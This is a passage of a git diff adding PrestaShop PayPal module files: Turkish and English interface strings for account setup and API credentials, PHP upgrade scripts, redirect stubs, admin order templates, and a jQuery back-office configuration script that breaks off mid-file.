        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=73 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=74 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Evet + Hayır + Pay with your card or your PayPal account + ONLINE ÖDEME + ÇÖZÜMLERİNDE LİDER MARKA + Müşterileriniz için güvenli ve pratik ödeme yöntemi. + PayPal ile satış yapmaya başlamak yalnızca birkaç dakikanızı alır + + Müşteri tabanınızı genişletin
        PayPal ile başlıca kredi kartlarından ödeme alın ve PayPal'ı tercih eden 100 milyondan fazla aktif kullanıcıya erişin +
      • Uluslararası pazarlara açılın
        PayPal 190 ülkede ve 25 para birimi ile kullanılıyor
      • +
      • Müşterilerinizi güvende hissettirin
      • +
      • PayPal ile müşterileriniz kart bilgileri gibi hassas bilgileri paylaÅŸmadan alışveriÅŸ yapabilirler
      • + ]]> +
        + + Ülkeniz + Değiştir + Select your country + + Yardıma mı ihtiyacınız var ?]]> Bize ulaşın : 444 77 01 + call + + + Zaten PayPal Ticari hesap sahibi misiniz + Bir ödeme çözümü seçin + Daha fazla bilgi alın]]> + + Tüm kart işlenmesini PayPal tarafından işlenmesini mi istiyorsunuz ? + Varolan ödeme çözümünüze ek olarak PayPal'ı mı eklemek istiyorsunuz? + + Önerimiz + + PayPal Website Payments Standard + Hemen ödeme almaya başlayın. Hayır. + + + + + + PayPal Express Checkout + Satışlarınızı artırmanın güvenli yolu + + + PayPal Tícarí hesabı açın + + ÖDEME ALABİLMEK İÇİN WEB MAĞAZANIZI ETKİNLEŞTİRİN + + PayPal kimlik bilgilerinizi PrestaShop'a gönderin: + Indicate the email you used when you signed up for a PayPal Business account + PAYPAL KİMLİK BİLGİLERİMİ GÖRMEK İSTİYORUM + Yukarıdaki düğmeyi tıkladıktan sonra açılan sayfada PayPal kullanıcı adınızı ve şifrenizi girin. PayPal kimlik bilgilerinizi kopyalayın ve aşağıdaki alanlara yapıştırın. + API kullanıcı ismi + API şifresi + API imzanız + API business e-mail + Lütfen doğru karakterleri girdiğinizden emin olun. + + PayPal hesabınızın kurulumunu tamamlamak için + E-posta adresinizi onaylayın: PayPal'dan size gönderilecek onay e-postasındaki adımları izleyin + PayPal hesabınıza kredi kartınızı ekleyin ve onaylayın: PayPal hesabınıza giriş yapın ve Hesap Araçlarım kutusundaki "Ticari Ayarlarım" bağlantısını tıklayın + + Hesap ayarı seçenekleriniz + + PayPal Express Checkout kullanın + Müşterilerinize 2 tıkla ödeme seçeneği sunun + + Sandbox kullanın + + PayPal hesabınızda bir test ortamı oluşturun (programlamcılar içindir) + Daha fazla bilgi alın + Canlı mod + Test modu + + Test modunu aktive etmek + + Ödeme alamayacağınız +
      • 3. adımı tamamlamak için PayPal modül sayfasına geri gelmeniz gerektiÄŸi
      • +
      • PayPal sandbox hesabı oluÅŸturmanız (daha fazla bilgi alın)
      • +
      • Programlama becerilerine sahip olduÄŸunuz
      • + ]]> +
        + anlamına gelir. Test modunu aktive etmek istediğinizden emin misiniz? + + Ödeme türü + Ödemelerin nasıl işlenmesini istediğinizi seçin (otomatik olarak veya manuel yetkilendirme). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Kaydedin + + 3. adımda açıklanan PayPal kimlik bilgilerini tamamlamanız gerekmektedir. Aksi halde ödeme alamazsınız. + + Tebrikler ! + Artık PayPal ile ödeme almaya başlayabilirsiniz. + Artık PayPal ödeme çözümlerini test edebilirsiniz. Daha sonra bu sayfaya gelip canlı modu aktive ederek ödeme almayı unutmayın. + + + HESAP AÇIN + Hesabınızı açtıktan sonra ödeme çözümünüzü eklemek için aşağıdaki adrese gidin + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=35 + + + + + + + + HESAP AÇIN + Hesabınızı açtıktan sonra 3. adımı tamamlamak için aşağıdaki adrese gidin: + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=36 + + + HESAP AÇIN + Bu adımı atlayın + + + + + + + + + + Bu adımı atlayın + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 02-8729-6625 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=64 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=65 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call on 1-877-419-7765 + call + + + Already have a PayPal Business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]> Monthly subscription of £20. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + PayPal Business account e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=84 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=85 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=86 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=85 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call on 1-877-419-7765 + call + + + Already have a PayPal Business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]> Monthly subscription of £20. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + PayPal Business account e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=84 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=86 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=85 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=40 + + + + + + +
        + +
        diff --git a/modules/paypal2/upgrade/index.php b/modules/paypal2/upgrade/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/upgrade/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/upgrade/install-2.8.php b/modules/paypal2/upgrade/install-2.8.php new file mode 100755 index 0000000..0e2836b --- /dev/null +++ b/modules/paypal2/upgrade/install-2.8.php @@ -0,0 +1,121 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_2_8($object, $install = false) +{ + if (!Configuration::get('PAYPAL_NEW') && ($object->active || $install)) + { + $result = true; + + /* Check PayPal API */ + if (file_exists(_PS_MODULE_DIR_.'paypalapi/paypalapi.php')) + { + $confs = Configuration::getMultiple(array('PAYPAL_HEADER', 'PAYPAL_SANDBOX', 'PAYPAL_API_USER', 'PAYPAL_API_PASSWORD', + 'PAYPAL_API_SIGNATURE', 'PAYPAL_EXPRESS_CHECKOUT')); + + include_once(_PS_MODULE_DIR_.'paypalapi/paypalapi.php'); + $paypalapi = new PayPalAPI(); + + if ($paypalapi->active) + { + if (Configuration::get('PAYPAL_INTEGRAL') == 1) + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', WPS); + elseif (Configuration::get('PAYPAL_INTEGRAL') == 0) + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', ECS); + + $paypalapi->uninstall(); + Configuration::loadConfiguration(); + + foreach ($confs as $key => $value) + Configuration::updateValue($key, $value); + } + } + + /* Create Table */ + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 'paypal_order` ( + `id_order` int(10) unsigned NOT null auto_increment, + `id_transaction` varchar(255) NOT null, + PRIMARY KEY (`id_order`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + $result = false; + + if (!Db::getInstance()->Execute(' + ALTER TABLE `' . _DB_PREFIX_ . 'paypal_order` ADD `payment_method` INT NOT null, + ADD `payment_status` VARCHAR(255) NOT null, + ADD `capture` INT NOT null')) + $result = false; + + /* Hook */ + $object->registerHook('cancelProduct'); + $object->registerHook('adminOrder'); + + /* Create OrderState */ + if (!Configuration::get('PAYPAL_OS_AUTHORIZATION')) + { + $order_state = new OrderState(); + $order_state->name = array(); + + foreach (Language::getLanguages() as $language) + { + if (Tools::strtolower($language['iso_code']) == 'fr') + $order_state->name[$language['id_lang']] = 'Autorisation acceptée par PayPal'; + else + $order_state->name[$language['id_lang']] = 'Authorization accepted from PayPal'; + } + + $order_state->send_email = false; + $order_state->color = '#DDEEFF'; + $order_state->hidden = false; + $order_state->delivery = false; + $order_state->logable = true; + $order_state->invoice = true; + + if ($order_state->add()) + @copy(_PS_ROOT_DIR_.'/img/os/'.Configuration::get('PS_OS_PAYPAL').'.gif', _PS_ROOT_DIR_.'/img/os/'.(int)$order_state->id.'.gif'); + + Configuration::updateValue('PAYPAL_OS_AUTHORIZATION', (int)$order_state->id); + } + /* Delete unseless configuration */ + Configuration::deleteByName('PAYPAL_INTEGRAL'); + + /* Add new Configurations */ + if (!Configuration::get('PAYPAL_PAYMENT_METHOD')) + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', WPS); + Configuration::updateValue('PAYPAL_CAPTURE', 0); + Configuration::updateValue('PAYPAL_TEMPLATE', 'A'); + + if ($result) + Configuration::updateValue('PAYPAL_NEW', 1); + return $result; + } + + $object->upgrade_detail['2.8'][] = 'PayPalAPI upgrade error !'; + return false; +} \ No newline at end of file diff --git a/modules/paypal2/upgrade/install-3.0.php b/modules/paypal2/upgrade/install-3.0.php new file mode 100755 index 0000000..185e82a --- /dev/null +++ b/modules/paypal2/upgrade/install-3.0.php @@ -0,0 +1,83 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_3_0($object, $install = false) +{ + $paypal_version = Configuration::get('PAYPAL_VERSION'); + + if ((!$paypal_version) || (empty($paypal_version)) || ($paypal_version < $object->version)) + { + /* Update hooks */ + $object->registerHook('payment'); + $object->registerHook('paymentReturn'); + $object->registerHook('shoppingCartExtra'); + $object->registerHook('backBeforePayment'); + $object->registerHook('cancelProduct'); + $object->registerHook('productFooter'); + $object->registerHook('header'); + $object->registerHook('adminOrder'); + $object->registerHook('backOfficeHeader'); + + Configuration::updateValue('PAYPAL_VERSION', $object->version); + + $payment_method = (int)Configuration::get('PAYPAL_PAYMENT_METHOD'); + $payment_methods = array(0 => WPS, 2 => HSS, 1 => ECS); + + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', (int)$payment_methods[$payment_method]); + Configuration::updateValue('PAYPAL_BUSINESS_ACCOUNT', Configuration::get('PAYPAL_BUSINESS')); + Configuration::updateValue('PAYPAL_BUSINESS', 0); + } + + if (count(Db::getInstance()->ExecuteS('SHOW TABLES FROM `'._DB_NAME_.'` LIKE \''._DB_PREFIX_.'paypal_order\'')) > 0) + { + $columns = array(array('name' => 'id_invoice', 'type' => 'varchar(255) DEFAULT NULL'), + array('name' => 'currency', 'type' => 'varchar(10) NOT NULL'), + array('name' => 'total_paid', 'type' => 'varchar(50) NOT NULL'), + array('name' => 'shipping', 'type' => 'varchar(50) NOT NULL'), + array('name' => 'payment_date', 'type' => 'varchar(50) NOT NULL'), + array('name' => 'capture', 'type' => 'int(2) NOT NULL')); + + foreach ($columns as $column) + if (!Db::getInstance()->ExecuteS('SHOW COLUMNS FROM `'._DB_PREFIX_.'paypal_order` LIKE \''.pSQL($column['name']).'\'')) + Db::getInstance()->Execute('ALTER TABLE `'._DB_PREFIX_.'paypal_order` ADD `'.pSQL($column['name']).'` '.$column['type']); + } + + if (count(Db::getInstance()->ExecuteS('SHOW TABLES FROM `'._DB_NAME_.'` LIKE \''._DB_PREFIX_.'paypal_customer\'')) <= 0) + { + Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_customer` ( + `id_paypal_customer` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_customer` int(10) unsigned NOT NULL, + `paypal_email` varchar(255) NOT NULL, + PRIMARY KEY (`id_paypal_customer`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 AUTO_INCREMENT=1'); + } + + return true; +} diff --git a/modules/paypal2/views/index.php b/modules/paypal2/views/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/views/templates/back/admin_order/capture.tpl b/modules/paypal2/views/templates/back/admin_order/capture.tpl new file mode 100755 index 0000000..0cf81f4 --- /dev/null +++ b/modules/paypal2/views/templates/back/admin_order/capture.tpl @@ -0,0 +1,9 @@ +
        +
        + {l s='PayPal Capture' mod='paypal'} +

        {l s='Information:' mod='paypal'} {l s='Funds ready to be captured before shipping' mod='paypal'}

        +
        + +

        +
        +
        diff --git a/modules/paypal2/views/templates/back/admin_order/index.php b/modules/paypal2/views/templates/back/admin_order/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/views/templates/back/admin_order/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/views/templates/back/admin_order/refund.tpl b/modules/paypal2/views/templates/back/admin_order/refund.tpl new file mode 100755 index 0000000..d29b2e7 --- /dev/null +++ b/modules/paypal2/views/templates/back/admin_order/refund.tpl @@ -0,0 +1,12 @@ +
        +
        + {l s='PayPal Refund' mod='paypal'} +

        {l s='Information:' mod='paypal'} {l s='Payment accepted' mod='paypal'}

        +

        {l s='Information:' mod='paypal'} {l s='When you refund a product, a partial refund is made unless you select "Generate a voucher".' mod='paypal'}

        +
        + +

        + +

        +
        +
        diff --git a/modules/paypal2/views/templates/back/admin_order/validation.tpl b/modules/paypal2/views/templates/back/admin_order/validation.tpl new file mode 100755 index 0000000..f9ff4ad --- /dev/null +++ b/modules/paypal2/views/templates/back/admin_order/validation.tpl @@ -0,0 +1,9 @@ +
        +
        + {l s='PayPal Validation' mod='paypal'} +

        {l s='Information:' mod='paypal'} {if $order_state == $authorization}{l s='Pending Capture - No shipping' mod='paypal'}{else}{l s='Pending Payment - No shipping' mod='paypal'}{/if}

        +
        + +

        +
        +
        diff --git a/modules/paypal2/views/templates/back/back_office.js b/modules/paypal2/views/templates/back/back_office.js new file mode 100755 index 0000000..7f63397 --- /dev/null +++ b/modules/paypal2/views/templates/back/back_office.js @@ -0,0 +1,235 @@ +$(document).ready( function() { + var identificationButtonClicked = false; + + /* Display correct block according to different choices. */ + function displayConfiguration() { + identificationButtonClicked = false; + + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + $('#signup span.paypal-signup-content').hide(); + $('#signup .paypal-signup-button').hide(); + + switch (paypal_business) { + case '0': + $('#signup').slideDown(); + $('#account').removeClass('disabled'); + $('#credentials').addClass('disabled'); + $('input[type="submit"]').attr('disabled', 'disabled'); + + switch (paypal_payment_method) { + case PayPal_WPS: + $('.toolbox').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u1').show(); + $('#paypal-signup-content-u1').show(); + $('#express_checkout_shortcut').slideDown(); + break; + case PayPal_HSS: + $('#signup').slideDown(); + $('#paypal-signup-button-u2').show(); + $('#paypal-signup-content-u2').show(); + $('#standard-credentials').slideUp(); + $('#account').removeClass('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + $('label[for="paypal_payment_wpp"] .toolbox').slideDown(); + break; + case PayPal_ECS: + $('.toolbox').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u3').show(); + $('#paypal-signup-content-u3').show(); + $('#express_checkout_shortcut').slideDown(); + break; + } + break; + case '1': + $('#configuration').slideDown(); + $('#account').addClass('disabled'); + $('#credentials').removeClass('disabled'); + $('input[type="submit"]').removeAttr('disabled'); + + switch (paypal_payment_method) { + case PayPal_WPS: + $('#signup').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u4').show(); + $('#express_checkout_shortcut').slideDown(); + break; + case PayPal_HSS: + $('#signup').slideDown(); + $('#paypal-signup-button-u5').show(); + $('#paypal-signup-content-u5').show(); + $('#account').removeClass('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + $('label[for="paypal_payment_wpp"] .toolbox').slideDown(); + break; + case PayPal_ECS: + $('#signup').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u6').show(); + $('#express_checkout_shortcut').slideDown(); + break; + } + break; + } + + displayCredentials(); + return; + } + + if ($('#paypal-wrapper').length != 0) { + $('.hide').hide(); + displayConfiguration(); + } + + if ($('input[name="paypal_payment_method"]').length == 1) { + $('input[name="paypal_payment_method"]').attr('checked', 'checked'); + } + + function displayCredentials() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + if (paypal_payment_method != PayPal_HSS && + ($('input[name="api_username"]').val().length > 0 || + $('input[name="api_password"]').val().length > 0 || + $('input[name="api_signature"]').val().length > 0)) { + $('#credentials').removeClass('disabled'); + $('#configuration').slideDown(); + $('input[type="submit"]').removeAttr('disabled'); + $('#standard-credentials').slideDown(); + $('#express_checkout_shortcut').slideDown(); + $('#integral-credentials').slideUp(); + } + else if (paypal_payment_method == PayPal_HSS && + ($('input[name="api_business_account"]').val().length > 0)) { + $('#credentials').removeClass('disabled'); + $('#configuration').slideDown(); + $('input[type="submit"]').removeAttr('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + } + else if (paypal_business != 1) { + $('#configuration').slideUp(); + } + } + + $('input[name="business"], input[name="paypal_payment_method"]').live('change', function() { + displayConfiguration(); + }); + + $('label, a').live('mouseover', function() { + $(this).children('.toolbox').show(); + }).live('mouseout', function() { + var id = $(this).attr('for'); + var input = $('input#'+id); + + if (!input.is(':checked')) + $(this).children('.toolbox').hide(); + if (($(this).attr('id') == 'paypal-get-identification') && + (identificationButtonClicked == false)) + $(this).children('.toolbox').hide(); + }); + + $('a.paypal-signup-button, a#step3').live('click', function() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + $('#credentials').removeClass('disabled'); + if ($(this).attr('id') != 'paypal-signup-button-u3') + $('#account').addClass('disabled'); + + $('#configuration').slideDown(); + if (paypal_payment_method == PayPal_HSS) { + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + } else { + $('#standard-credentials').slideDown(); + $('#express_checkout_shortcut').slideDown(); + $('#integral-credentials').slideUp(); + } + $('input[type="submit"]').removeAttr('disabled'); + + if ($(this).is('#step3')) { + return false; + } + return true; + }); + + if ($("#paypal-wrapper").length > 0) { + $('input[type="submit"]').live('click', function() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + if ((paypal_payment_method != PayPal_HSS && + (($('input[name="api_username"]').val().length <= 0) || + ($('input[name="api_password"]').val().length <= 0) || + ($('input[name="api_signature"]').val().length <= 0))) || + ((paypal_payment_method == PayPal_HSS && + ($('input[name="api_business_account"]').val().length <= 0)))) { + $.fancybox({'content' : $('
        ').append($('#js-paypal-save-failure').clone().html())}); + return false; + } + return true; + }); + + $('input[name="sandbox_mode"]').live('change', function() { + if ($('input[name="sandbox_mode"]:checked').val() == '1') { + $('input[name="sandbox_mode"]').filter('[value="0"]').attr('checked', true); + var div = $('
